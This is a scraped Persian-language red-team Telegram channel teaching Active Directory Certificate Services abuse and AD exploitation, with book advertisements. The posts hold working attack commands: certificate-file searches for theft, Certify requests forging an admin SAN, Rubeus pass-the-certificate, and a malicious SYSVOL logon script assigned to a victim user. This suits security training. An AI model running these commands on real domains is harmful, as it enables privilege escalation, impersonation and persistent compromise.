– Telegram
807 subscribers
23 photos
8 files
26 links
Red Team ( Network ) , with Kaveh
Download Telegram
سوالات شما

من سوالی را که در توییتر مطرح شد دوست داشتم، مفهوم آن این بود: «در کدام مرحله تیم رد تیم به راحتی شناسایی می‌شود؟»

یکی از وظایف تیم مهاجم این است که اجازه دهد تیم دفاعی آن‌ها را شناسایی کند. انجام یک اشتباه آگاهانه، گذاشتن IOC، اجرای برنامه یا دستوراتی که باید محرک شروع یک حادثه باشند. اما انجام این اقدامات توسط تیم مهاجم در مرحله پایانی خواهد بود، زمانی که فقط هدف عملیات باقی مانده است. اگر تیم مهاجم خیلی زود شناسایی شود، ممکن است بر ادامه عملیات تأثیر منفی بگذارد. همه چیز به توافقات اجرای پروژه بستگی دارد.

برگردیم به سوال. به نظر من سخت‌ترین و خطرناک‌ترین مراحل، مراحل دسترسی اولیه هستند: آگاهی موقعیتی و تثبیت. در مرحله ابتدایی دسترسی به شبکه داخلی، تیم مهاجم باید بسیار محتاط و دقیق باشد. اعضای تیم هنوز نمی‌دانند چه مکانیزم‌های دفاعی استفاده می‌شود و چگونه تنظیم شده‌اند. هنگام انجام آگاهی موقعیتی ممکن است عملی انجام شود که هشدار ایجاد کند. به عنوان مثال، دستور whoami که مورد علاقه پنتسترها است اما کاربران عادی هرگز از آن استفاده نمی‌کنند. پس از دسترسی به شبکه داخلی، تیم مهاجم باید تثبیت کند و پایگاهی برای پیشروی به هدف عملیات بسازد. انتخاب نادرست مکانیزم تثبیت نیز می‌تواند هشدار ایجاد کند. اما به محض اینکه اعضای رد تیم در شبکه جا بیفتند، می‌توانند با جسارت بیشتری عمل کنند و گاهی حتی جسورانه.

در کتاب ناشناس بودن برای ردتیمر ها میخوانید که چطور از شناسایی شدن جلو گیری کنید .

#FAQ #RedTeam
@KavehOffSec
👍8
مقدمه ای بر AD CS – فرمت های گواهینامه یا Certificate

اینجا در مورد فرمت‌های رایج گواهی‌ها یا سرتیفیکیت حرف می‌زنیم. دونستن این فرمت‌ها خیلی مهمه، چون برای سرقت یا خروجی گرفتن ازشون لازمه بدونیم چطور کار میکنن.

بیایم از پایه شروع کنیم: AD CS از استاندارد X.509 استفاده میکنه. حالا فرمت‌های اصلیشون اینان:

- PEM:
این یکی DER رو به صورت Base64 انکود کرده. پسوندهای رایجش .pem، .crt، .cer، .key هستن. معمولاً شامل گواهی (سرتیفیکیت)به علاوه کلید خصوصی بدون هیچ حفاظتی میشه. بیشتر تو لینوکس یا وب‌ سرورها می‌بینیش.

- DER:
نسخه باینری PEM هست، ساده و مستقیم برای ماشین‌ ها.

- PFX یا P12 (که همون PKCS#12 هست):

این باینریه و با پسورد حفاظت میشه. داخلش گواهی و کلید خصوصی رو نگه میداره. عالیه برای خروجی گرفتن تو ویندوز.

- P7B (PKCS#7):
فقط زنجیره گواهی‌ها رو داره، بدون کلید خصوصی.

حالا برای تیم قرمز: گواهی‌ها رو روی دیسک جستجو کن (مثل THEFT4) با این اکستنشن‌ها.

مثلاً با پاورشل اینطوری:

Get-ChildItem C:\ -include ('*.pem', '*.pfx', '*.p12', '*.crt', '*.cer', '*.key') -recurse -ErrorAction SilentlyContinue

اگه PFX پیدا کردی، با CertUtil خروجی بگیر و اگه بدون حفاظت بود، پسوردش رو بروت فورس کن. ابزار Seatbelt هم خوبه برای اتومات کردن جستجو.

نکته مهم: از PEM یا PEM بدون حفاظت برای سوءاستفاده کراس‌ پلتفرم استفاده کن .


#ADCS
@KavehOffSec
👍6
دوستان به وقتش به بررسی حملات APT میرسیم تا اون موقع یکسری مطالب میزارم که با مباحث و مفاهیم اشنا شید و بعد بریم سراغ فریم ورک mitre و دنیای APT هکرها .
👍7
مقدمه‌ای بر AD CS – ویژگی‌های گواهینامه (Certificate Attributes)

در
این بخش به بررسی چند ویژگی مهم و کاربردی گواهینامه‌ها در Active Directory Certificate Services می‌پردازیم. این ویژگی‌ها هم در کارهای عادی و هم در عملیات تیم قرمز می‌توانند نکات جالبی داشته باشند.

ویژگی‌های اصلی گواهی

Subject
موجودیت دریافت‌کننده گواهی. مثال:
  CN=user@domain.com

Issuer
صادرکننده گواهی، که معمولاً یک CA داخلی یا سازمانی است.

Subject Alternative Name (SAN)

نام‌های جایگزین که می‌تواند شامل DNS، آدرس IP یا ایمیل باشد.

Validity Period
بازه زمانی اعتبار گواهی (تاریخ شروع و پایان).

Extended Key Usage (EKU)

تعیین هدف یا سناریوی استفاده از گواهی (جزئیاتش در بخش‌های بعدی گفته می‌شود).

نکات عملیاتی برای تیم قرمز

SAN قابل تغییر (SAN Modifiable)

اگر قالب صدور گواهی (Certificate Template) به شما اجازه ویرایش SAN بدهد، می‌توان از این قابلیت برای Impersonation استفاده کرد.

سناریوی کلاسیک: اضافه کردن altname=admin به گواهی درخواست شده.

مثال:


  Certify.exe request /ca:CA_NAME /template:User /altname:admin
 

بررسی دوره اعتبار (Validity)

تاریخ اعتبار را زیر نظر داشته باشید تا پیش از انقضا گواهی را تمدید کنید وPersistence ایجاد شود.

Evasion
استفاده از پارامتر /sidextension برای دور زدن برخی پچ‌های CBA.

💡 نکته: اگر قالب گواهی در بخش SAN آسیب‌پذیر باشد، این می‌ تواند یک مسیر مستقیم به سمت Domain Escalation باشد.

#ADCS
@KavehOffSec
7
https://github.com/TryHackBox/Kaveh-WebDiff-Monitor

توضیحات ابزار :

این ابزار یک مانیتورینگ تغییرات و وضعیت HTTP است که برای بررسی سلامت سرویس‌های وب، مانیتورینگ Virtual Hostها و شناسایی تغییرات محتوا استفاده می‌شود.
با استفاده از این اسکریپت می‌توانید چندین IP/Port/Schema/Vhost را به صورت دوره‌ای بررسی کنید و در صورت تغییر وضعیت پاسخ یا تغییر در محتوای صفحه، هشدار دریافت کنید.

اگر فکر میکنید ویژیگی این ابزار بهتر میکنه پیشنهاد بدید اضافه کنم میتونید در گفتگوی مستقیم پیشنهاد بدید یا توییتر .

@KavehOffSec
🔥6
مقدمه‌ای بر AD CS: گواهی های EKUها و OIDها

سلام، اگر بخوایم در مورد Active Directory Certificate Services (AD CS) حرف بزنیم، یکی از بخش‌های کلیدیش گواهی‌های دیجیتال هستن که توشون چیزایی مثل Extended Key Usage (EKU) و Object Identifier (OID) نقش مهمی بازی میکنن. اینا اساساً کمک میکنن تا بفهمیم یک گواهی برای چی ساخته شده و چطور میتونه سوءاستفاده بشه، مخصوصاً تو سناریوهای red teaming یا تست نفوذ. من اینجا سعی می‌کنم این بخش رو با جزئیات بیشتری توضیح بدم، چون واقعاً کلیدیه برای درک چگونگی abuse کردن templateهای گواهی.

EKU چیه؟
در واقع یک extension تو گواهی‌های X.509 هست که مشخص میکنه این گواهی دقیقاً برای چه هدفی میتونه استفاده بشه. بدون EKU، گواهی میتونه برای هر کاری استفاده بشه (که این خودش یک حفره امنیتی بزرگه)، اما با EKU، محدودیت‌هایی اعمال میشه. تو محیط AD CS، این EKUها میتونن توسط administratorها روی templateها تنظیم بشن، و اگر درست کانفیگ نشن، راه رو برای حمله باز می‌کنن. مثلاً تو حملات escalation privilege، مثل ESC1 تا ESC3 که تو گزارش‌های SpecterOps توضیح دادن، EKUهای خاصی مثل Client Authentication میتونن به مهاجم ها کمک کنن تا دسترسی بالاتری بگیرن.

OID چیه؟

OIDها identifierهای منحصر به‌ فردی هستن که ساختار hierarchy دارن مثل یک درخت که هر شاخه‌ اش یک کد عددی داره. اینا توسط سازمان‌هایی مثل IANA یا Microsoft تعریف میشن و هر OID یک کاربرد خاص رو نشون میده. OIDها تو EKUها استفاده میشن تا دقیق‌تر بگن گواهی چیکار میتونه بکنه. مثلاً، OIDها مثل شماره سریال هستن که کمک میکنن سیستم‌ها بفهمن گواهی معتبره یا نه. اگر بخوای custom OID بسازی (مثل تو تست‌های vuln)، میتونی از ابزارهایی مثل Certify.exe استفاده کنی تا ببینی چطور کار میکنه.

OIDهای رایج و کاربردهاشون (با تمرکز روی abuse)
اینجا چند تا OID مهم رو لیست می‌کنم، همراه با توضیح اینکه چطور میتونن تو abuse templateها مفید باشن. اینا رو بر اساس تجربیات red teaming انتخاب کردم، چون اغلب تو حملات واقعی دیده شدن:

- Server Authentication (OID: 1.3.6.1.5.5.7.3.1): 
  این برای SSL/TLS سرورها استفاده میشه، مثل وب‌سرورها. تو abuse، اگر templateی داشته باشی که این EKU رو اجازه بده و enrollment rights داشته باشی، میتونی گواهی جعلی بسازی برای impersonation سرورها. ولی معمولاً کمتر برای escalation استفاده میشه.

- Client Authentication (OID: 1.3.6.1.5.5.7.3.2): 
  این یکی برای احراز هویت کلاینت‌ها طراحی شده، مثلاً تو PKINIT برای گرفتن Kerberos TGT. کلیدیه برای abuse! اگر templateی با این EKU داشته باشی و enrollment داشته باشی، میتونی privilege escalate کنی. مثلاً تو آموزش‌های red team، می‌گن: template با Client Auth + enrollment rights = escalation path. برای enumerate کردنش، از Certify.exe find /clientauth استفاده کن. اگر نیاز به تست vuln داشتی، custom OID بساز و امتحان کن.

- Code Signing (OID: 1.3.6.1.5.5.7.3.3): 
  برای امضای کد، که میتونه Windows Defender Application Control (WDAC) رو bypass کنه. تو abuse، اگر بتونی گواهی با این EKU بگیری، کد مخربت رو امضا میکنی و سیستم فکر میکنه معتبره.

- Secure Email (OID: 1.3.6.1.5.5.7.3.4): 
  برای رمزنگاری و امضای ایمیل‌ها (SMIME). کمتر abuse میشه، اما اگر template vuln باشه، میتونی برای spoofing ایمیل استفاده کنی.

- Encrypting File System (EFS) (OID: 1.3.6.1.4.1.311.10.3.4): 
  برای رمزنگاری فایل‌ها تو ویندوز. تو سناریوهای خاص، می‌ تونی ازش برای دسترسی به فایل‌ های encrypt‌شده سوءاستفاده کنی.

- Any Purpose (OID: 2.5.29.37.0): 
  این یکی همه‌کاره‌ست و هیچ محدودیتی نداره – دقیقاً مثل نداشتن EKU. vulnerable به حملاتی مثل ESC2، چون میتونی گواهی رو برای هر کاری استفاده کنی، از authentication گرفته تا signing.

- Certificate Request Agent (OID: 1.3.6.1.4.1.311.20.2.1): 
  این برای on-behalf-of enrollment استفاده میشه، که تو ESC3 کلیدیه. اگر template این EKU رو داشته باشه، attacker میتونه گواهی برای کاربر دیگه درخواست کنه و privilege بگیره.

نکته‌های کلیدی برای abuse در red teaming
- No EKU = Any Purpose:
اگر گواهی EKU نداشته باشه، مثل Any Purpose عمل می‌کنه عالی برای ESC2، چون محدودیت نداره و میتونی باهاش هر کاری کنی.

#ADCS
@KavehOffSec
👍6👎1
مثال عملی abuse: اول با Certify.exe templateها رو enumerate کن (مثل find /clientauth). بعد، گواهی با EKU خاص درخواست بده. برای Pass-the-Certificate، از Rubeus استفاده کن: 
  Rubeus.exe asktgt /user:target /certificate:cert.pfx /password:pass 
  این کار TGT می‌گیره و می‌تونی escalate کنی.
- اگر نیاز به custom OID داشتی، تو لاب تست کن مثلاً برای شبیه‌سازی vulnها.

در کل، درک EKU و OIDها کمک میکنه ببینی کجاها AD CS ضعیفه. اگر administratorها templateها رو درست harden نکنن (مثل محدود کردن enrollment rights یا اضافه کردن manager approval)، راه برای حمله بازه. پیشنهادم اینه که تو محیط تست امتحان کنی تا بهتر دستت بیاد.
#ADCS
@KavehOffSec
9
🔥7
Photo
مقدمه‌ای بر AD CS – درخواست امضای گواهی (Signing Request)

درود ادامه بحثمون، حالا میخوام برم سراغ بخش Certificate Signing Request یا CSR. این یکی از مراحل کلیدی تو فرآیند صدور گواهی‌ هاست و اگر خوب درک نشه، میتونه نقطه ضعفی باشه تو امنیت دامنه. من اینجا سعی می‌ کنم فرآیند رو قدم به قدم توضیح بدم، با تمرکز روی جنبه‌های red teaming و چگونگی abuse کردنش.

CSR چیه و چطور کار میکنه؟
به طور خلاصه، CSR یک درخواست رسمی برای امضای گواهی هست که از سمت کلاینت (کاربر یا سیستم) به Certificate Authority (CA) ارسال میشه. تو این درخواست، کلاینت public key خودش رو همراه با اطلاعات دیگه مثل Subject Name، Subject Alternative Name (SAN)، Extended Key Usage (EKU) و جزئیات دیگه میفرسته. CA این اطلاعات رو validate میکنه مثلاً چک میکنه که آیا requester حقوق لازم رو داره یا نه و اگر همه چیز اوکی باشه، گواهی رو sign میکنه و برمیگردونه.

این فرآیند معمولاً تو AD CS از طریق templateها مدیریت میشه. مثلاً، template مشخص میکنه که چه fieldهایی تو CSR مجاز هستن. اما اگر CA درست کانفیگ نشده باشه، مهاجم میتونه fieldهایی مثل SAN رو manipulate کنه تا گواهی جعلی بسازه. CSR میتونه شامل extensionهایی مثل EKU (که تو پست قبلی توضیح دادم) یا حتی custom OIDها باشه، که اینا رو کلاینت موقع generate کردن CSR اضافه میکنه.

آموزش ردتیم: چطور CSR رو abuse کنیم؟
تو سناریوهای حمله، CSR یکی از بهترین جاها برای injection اطلاعات جعلی هست، مخصوصاً تو حملاتی مثل ESC1 (که تو گزارش SpecterOps توضیح دادن). ایده اینه که SAN جعلی inject کنی.

مثلاً یک altname مثل admin یا یک کاربر دسترسی دار و اگر template vulnerable باشه (مثل اینکه SAN editable باشه و manager approval نداشته باشه)، CA بدون چک کردن sign میکنه.

ابزار عالی برای این کار Certify.exe هست، که میتونی باهاش CSR generate کنی و مستقیم submit کنی به CA.

مثال عملی:
Powershell

Certify.exe request /ca:CA_NAME /template:User /altname:admin

تو این کامند، /ca اسم CA رو مشخص میکنه، /template template مورد نظر (مثل User که معمولاً vulnerable)، و /altname SAN جعلی رو اضافه میکنه. اگر CA vuln باشه مثلاً enrollment rights داشته باشی و validation سستی داشته باشه گواهی میگیری که میتونی باهاش impersonation کنی، مثل login کردن به عنوان admin بدون نیاز به credential واقعی.

بعد از گرفتن گواهی، میتونی از ابزارهایی مثل Rubeus برای Pass-the-Certificate استفاده کنی و escalate کنی.

نکته‌های مهم برای abuse
- Intercept کردن CSR:
اگر enrollment از طریق وب باشه (مثل Web Enrollment Services)، میتونی CSR رو وسط راه intercept کنی برای Man-in-the-Middle (MITM) attacks. مثلاً با پروکسی مثل Burp، request رو modify کنی و fieldهایی مثل SAN یا EKU رو تغییر بدی. این تو محیط‌ هایی که HTTPS درست کانفیگ نشده، خیلی آسونه.

📌همیشه چک کن که template چطور تنظیم شده
📌 اگر SAN user-supplied باشه و CA auto-approve کنه، راه بازه برای حمله.

در نهایت، CSR قلب فرآیند صدور گواهی تو AD CS هست، و اگر adminها حواسشون نباشه، میتونه به escalation سریع منجر بشه. پیشنهادم اینه که تو لاب خودتون emulate کنید و با ابزارهایی مثل Certify تست کنید.

#ADCS
@KavehOffSec
👍6
مقدمه‌ای بر AD CS: کانتینرها در Active Directory

حالا می‌رسیم به بخش کانتینرها تو اکتیو دایرکتوری که مستقیماً با Certificate Services مرتبطه. این کانتینرها اساساً جایی هستن که همه تنظیمات و objectهای مرتبط با PKI ذخیره میشن، و اگر بتونی بهشون دسترسی پیدا کنی، راه برای persistence یا حتی escalation باز میشه. من اینجا تمرکز میکنم روی Public Key Services container، که مسیرش اینه: CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com. این کانتینر تو partition Configuration قرار داره، یعنی site-wide و replicate میشه تو همه DCها.

زیرمجموعه‌های کلیدی تو Public Key Services
این کانتینر چند تا sub-container مهم داره که هر کدوم نقش خاصی تو AD CS بازی میکنن:

- Certificate Templates
  اینجا templateهای گواهی ذخیره میشن

📌  چیزایی مثل User یا Computer که مشخص میکنن چطور گواهی صادر بشه، شامل EKUها، enrollment rights و غیره. اینا کلیدین برای abuse، چون اگر vuln باشن، میتونی دسترسی بگیری.

- Certification Authorities
  لیست trusted root CAها اینجا هست. این rootها از طریق Group Policy Object (GPO) propagate میشن به کلاینت‌ها. یعنی اگر بتونی یک CA جعلی اضافه کنی، همه ماشین‌ها بهش trust میکنن.

- Enrollment Services

  این بخش Enterprise CAها رو لیست میکنه 📌 CAهایی که integrate شدن با AD و میتونن گواهی صادر کنن. اگر دسترسی داشته باشی، میتونی enrollment رو manipulate کنی.

- NTAuthCertificates
  برای چیزایی مثل smart card authentication و key archival استفاده میشه. این objectها مشخص میکنن کدوم CAها مجازن برای NT authentication، که تو Kerberos مهمه.

آموزش ردتیم: چطور این کانتینرها رو abuse کنیم؟

تو سناریوهای حمله، ACLهای ضعیف روی این کانتینرها میتونه به persistence منجر بشه. مثلاً، اگر Write rights داشته باشی روی Certification Authorities، می‌ تونی یک trusted root جعلی اضافه کنی (مثل حمله DPERSIST2 تو گزارش‌های persistence). این کار domain-wide trust رو میشکنه.

برای enumerate کردن، از PowerShell استفاده کن:
Powershell

ls 'AD:\CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com'

این کامند لیست objectها رو نشون میده. برای templateها، ابزار Certify.exe عالیه: Certify find رو بزن تا vuln templateها رو پیدا کنی.

abuse عملی:
اگر ACL Write داری روی یک template، می‌ تونی modify کنی (مثل ESC4) .

مثلاً enrollment rights اضافه کنی یا EKUها رو تغییر بدی تا vuln بشه. بعد، گواهی درخواست بده و escalate کن.

نکته ای که هس :
این کانتینرها جزو Tier 0 assetها حساب می‌شن یعنی compromiseشون معادل domain persistence. adminها باید ACLها رو سختگیرانه چک کنن، چون حتی یک low-priv کاربر اگر rights داشته باشه، میتونه کل PKI رو به هم بریزه.

تمرین پیشنهادی

برای دست‌گرمی، تو محیط تستت یک template enumerate کن با Certify (مثل Certify find /template:User) و EKUها رو چک کن ببین آیا Client Auth داره یا Any Purpose، که vuln هستن. این کمک میکنه بهتر بفهمی کجا حمله کنی.

#ADCS
@KavehOffSec
👍7
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته

📚 عنوان کتاب: وایرشارک برای ردتیمرها
(Wireshark for Red Teamers) 

این کتاب یک راهنمای جامع و عملی برای یادگیری ابزار قدرتمند Wireshark است، با تمرکز ویژه روی کاربردهای آن در حوزه Red Teaming (تیم قرمز) و امنیت سایبری تهاجمی. کتاب از پایه شروع می‌ کند و به مفاهیم پیشرفته مانند تحلیل ترافیک شبکه، شناسایی آسیب‌پذیری‌ها، و تکنیک‌های نفوذ می‌ پردازد. محتوای اصلی کتاب شامل فصل‌هایی مانند معرفی Wireshark، درک ترافیک شبکه، تکنیک‌های کپچرینگ پکت‌ها، فیلترینگ، و کاربردهای عملی در Reconnaissance (شناسایی) و Command and Control (C2) است.

این کتاب مناسب چه کسانی است؟
ویژگی‌ های کتاب ؟
چرا باید این کتاب را بخرید؟
دانلود فایل های تمرین و سناریوها

توضیحات کامل را بخوانید .

💰 قیمت : ۲۵۰,۰۰۰ تومان
💢 ۱۰ نفر اول میتوانند این کتاب را با قیمت ۲۰۰,۰۰۰ تومان تهیه کنند .

📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
8👍1
نمونه_کتاب_وایرشارک_برای_ردتیمرها.pdf
1.4 MB
📘 کتاب "وایرشارک برای رد‌تیمرها"
راهنمای تخصصی تحلیل شبکه برای هکرهای اخلاقی و تیم‌های قرمز

⚠️ توجه:
این فایل تنها نمونه‌ای از صفحات کتاب است و برخی مطالب و آموزش‌ ها به منظور حفظ اصالت اثر حذف شده‌اند
برای دریافت نسخه‌ی کامل و دسترسی به تمامی تمرین‌ها و سناریوها، می‌توانید کتاب را به صورت کامل خریداری کنید.

توضیحات کتاب و قیمت
توضیحات کامل
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
5
دامنه صوری (Domain Fronting) چیست؟

دامنه صوری Domain Fronting تکنیکی است که در آن دامنه‌ای که در SNI (Server Name Indication) TLS درخواست می‌ شود که برای شبکه قابل مشاهده است با دامنه‌ای که در هدر HTTP Host استفاده می‌ شود که تا پس از انجام handshake رمزگذاری‌شده قابل مشاهده نیست متفاوت است. این روش باعث می ‌شود ترافیک به نظر برسد که به دامنه‌ای قانونی یا پرطرفدار (مثلاً cdn.cloudflare.net) هدایت می‌ شود، در حالی که در واقع به یک دامنه C2 مخفی پشت CDN مسیر‌دهی می ‌شود.
@KavehOffSec
👍6
یادداشت‌ های اکسپلویت از تست نفوذ Active Directory - بخش اول

دوستان من این مورد قبلا خونده بودم گفتم مطالب با شما هم به اشتراک بگذارم شاید براتون مفید باشه .


اکتیودایرکتوری (AD) یک سرویس دایرکتوری است که توسط مایکروسافت برای شبکه‌ های دامنه ویندوز توسعه پیدا کرده است.
شمارش یا Enumeration

کشف یا Discovery کنترل‌ کننده‌های دامنه (Domain Controllers Discovery)
dig @<target-ip> example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25

شمارش با BloodHound
1. اجرای BloodHound  ما از BloodHound Community Edition استفاده میکنیم.

دستور زیر Docker Compose BloodHound را شروع می‌ کند:
  
curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose down -v # If you want to reset the password of BloodHound...
sudo docker-compose pull && sudo docker-compose up

  
 پس از آن، میتوانیم از رابط یا اینترفیس وب با دسترسی به localhost:8080 در مرورگر وب استفاده کنیم.

با نام کاربری admin و رمز عبوری که در لاگ هنگام اجرای دستور بالا نمایش داده می‌شود، وارد شوید. 

برای مشخص کردن IP و پورت دلخواه، متغیرهای محیطی را روی ماشین اتکر تنظیم کنید:
 
  export BLOODHOUND_HOST=10.0.0.1
   export BLOODHOUND_PORT=8090

2. جمع‌ آوری داده‌ ها (Collect Data)

گزینه 1. استفاده از NetExec اگر NetExec را در ماشین خود دارید، فکر میکنم ساده‌ ترین راه باشد.
 
  netexec ldap <target-ip> -d example.local -u username -p password --dns-server <target-ip> --bloodhound -c All

  
   گزینه 2. استفاده از BloodHound.py ما همچنین میتوانیم از BloodHound.py استفاده کنیم.

آن را به صورت زیر نصب کنید:
 
python3 -m venv .venv
source .venv/bin/activate
pipx install bloodhound # or using 'pip3' instead of 'pipx'
bloodhound-python -h

   سپس داده‌ ها را جمع‌آوری کنید:
 
  
   # -u: Username
   # -p: Password
   # -dc: Domain Controller
   # -c all: Collect all data
   # -ns: Alternate the nameserver
   bloodhound-python -d example.local -u username -p password -dc dc.example.local -c all -ns ns.example.local

   # If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
   sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>
  

#NoteADExploit
@KavehOffSec
👍11
⭕️ یادداشت‌ های اکسپلویت از تست نفوذ Active Directory - بخش دوم

  

3. آپلود داده‌ های جمع‌آوری‌ شده (Upload Collected Data) 
پس از اجرا، فایل‌های نتیجه (*.json) در دایرکتوری فعلی تولید می‌ شوند. تمام این فایل‌های JSON را به BloodHound در مرورگر وب آپلود کنید. 

می‌توانیم روابط در Active Directory را کاوش کنیم.

بررسی (Investigation)

فهرست همه کاربران
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A

فهرست همه گروه‌ها
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com

فهرست سیاست رمز عبور
net accounts /domain
# فهرست ابجکت ها AD
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com

بازیابی اطلاعات در مورد دامنه داده‌ شده.
Get-ADDomain -Server dc.example.com

تغییر رمز عبور کاربر AD
Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL

یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می‌ کند.

dir \\dc.example.com\SYSVOL\

سوءاستفاده از اسکریپت ورود برای کاربران دیگر (Abuse Logon Script for Other Users)
اگر کاربر فعلی مجوز نوشتن اسکریپت‌ ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت ورود کاربران دیگر را تغییر دهیم.

1. بررسی مجوز
icacls C:\Windows\SYSVOL\sysvol\example.local\noscripts\

2. تغییر/اضافه کردن یک اسکریپت مخرب
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\noscripts\evil.bat

3. تنظیم اسکریپت ورود برای کاربر مشخص‌شده
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\noscripts\evil.bat

هنگامی که کاربر دیگر وارد سیستم می‌ شود، اسکریپت .bat اجرا خواهد شد.

#NoteADExploit
@KavehOffSec
👍51